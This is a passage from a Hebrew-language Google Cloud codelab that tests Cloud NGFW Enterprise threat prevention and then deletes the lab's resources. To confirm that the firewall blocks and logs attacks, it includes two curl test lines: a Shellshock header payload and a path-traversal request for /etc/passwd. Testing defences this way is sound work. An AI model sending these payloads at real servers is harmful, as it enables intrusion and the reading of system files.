gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
חוזרים ל-VM של הלקוח ושולחים מחדש התקפות חומרה גבוהה לכתובת ה-IP של השרת החיצוני:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
הפלט אמור להיראות כך:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
עברו לכרטיסייה Threats במסוף Cloud כדי לאמת את היומנים (ייתכן שתצטרכו לרענן כמה פעמים). היה צריך לזהות את המתקפות ולרשום אותן מחדש, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי כלל של תעבורת נתונים יוצאת (egress) מופעל קודם:
סוגרים את סשן ה-SSH וממשיכים לקטע הבא בקטע השלבים לניקוי.
8. שלבי ההסרה
ניקוי הרכיבים של Cloud NGFW Enterprise
הצגת רשימה של השיוכים הקיימים ל-Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
מוחקים את השיוך ל-Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
הצגת רשימה של נקודות הקצה הקיימות ב-Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מוחקים את נקודת הקצה ב-Cloud NGFW Enterprise. הפעולה עשויה להימשך כ-20 דקות:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
כדי לוודא ש-Cloud NGFW Enterprise נמחק, מריצים את הפקודה הבאה:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מחיקת קבוצת פרופילי האבטחה והפרופיל של מניעת איומים:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
ניקוי ההגדרות הבסיסיות
אם אתם מעדיפים למחוק את משאבי הבסיס, אפשר להמשיך לשלב הבא.
מגדירים את משתני הסביבה במקרה הצורך. מוחקים מ-Cloud Shell את הרכיבים של מאזן עומסים ברשת:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
הסרת מכונות:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
אם שיניתם את התפקידים של tagAdmin ו-tagUsers, תוכלו לבצע את השלבים הבאים:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
הסרת המפתח והערכים של התג:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
מחיקת המדיניות והשיוך של Cloud Firewall Network:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
מחיקת Cloud Router ו-Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
מחיקת כתובות IP שמורות:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. מעולה!
כל הכבוד, השלמת בהצלחה את Cloud NGFW Enterprise ל-Codelab של מזרח-מערב וצפון-דרום.